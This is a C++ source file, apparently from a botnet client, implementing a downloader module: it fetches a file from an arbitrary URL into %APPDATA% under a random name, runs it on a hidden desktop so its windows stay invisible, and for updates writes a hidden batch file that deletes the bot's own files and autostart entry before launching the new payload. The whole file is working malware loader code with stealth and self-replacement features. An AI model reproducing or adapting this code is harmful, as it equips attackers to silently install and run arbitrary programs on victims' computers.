#include "download.h"
#include <Urlmon.h>


bool Download::Dload(string url)
{
	char *appdata;
	char dest[512];
	size_t len;

	ZeroMemory(&appdata, sizeof(appdata));
	if( _dupenv_s(&appdata, &len, "APPDATA") != 0)  // Get path of %appdata%
		return false;


	string rand = util::RandomString(5); // Create random filename for downloaded file

	_snprintf_s(dest, sizeof(dest), 512, "%s\\%s", appdata, rand.c_str()); // form string to the destination path
	dlPath.assign(dest);

	// i will replace URLDownloadToFile as soon as possible
	if(URLDownloadToFile(NULL, url.c_str(), dlPath.c_str(), 0, NULL) == S_OK)
		return true;
	else
		return false;
}

bool Download::Exec(string StartInvisible)
{
	string temp_path;
	temp_path += "\"";
	temp_path += dlPath;
	temp_path += "\"";
	STARTUPINFO info = {sizeof(info)};

	// At first, create new desktop, then start binaries within this new desktop
	// -> Hides all programs (SW_HIDE hides only console applications)
	PROCESS_INFORMATION PInfo;
	if(StartInvisible == "1")
	{
		HDESK desk = CreateDesktop(	"hidden",
									NULL,
									NULL,
									0,
									DESKTOP_CREATEWINDOW,
									NULL);
		if(desk)
		{
			info.lpDesktop = "hidden";
		}
	}
								
	bool IsExecuted = CreateProcess(	NULL,
										(LPTSTR) temp_path.c_str(),
										NULL,
										NULL,
										false,
										0, 
										NULL,
										NULL,
										&info, 
										&PInfo
										);
	if(IsExecuted == true)
		return true;
	else							
		return false;
}


bool Download::Update(string param1, string param2, string appdata, string autostart)
{
	if(this->Dload(param1) == true)
	{
		if(param2 == "1")
		{
			// Create batch file to start the downloaded file, after the bot already is already shut down 
			FILE * del;
			fopen_s(&del, "del.bat", "w");
			if(del != NULL)
			{
				char self[512];
				ZeroMemory(&self, sizeof(self));
				GetModuleFileName(NULL, self, sizeof(self));

				string delstring;

				// I'm using pings to imitate a sleep function, which doesn't exist in batch
				// So the Bot has time to close itself
				delstring = "ping localhost\nping localhost\nping localhost\ndel \"";
				delstring.append(appdata);
				delstring += "\"\ndel\"";

				delstring.append(autostart);
				delstring += "\"\n\"";

				delstring.append(this->dlPath);
				delstring += "\"";
				fputs(delstring.c_str(), del);
				fclose(del);
				// Execute the *.bat file, also starting the downloaded file
				if( (int)ShellExecute(NULL, "open", "del.bat", NULL, NULL, SW_HIDE) > 32) // cmd runs in hidden mode
					return true;
				else
					return false;
			}
			else
				return false;
		}
		else
			return false;
	}
	else
		return false;

	return true;
}

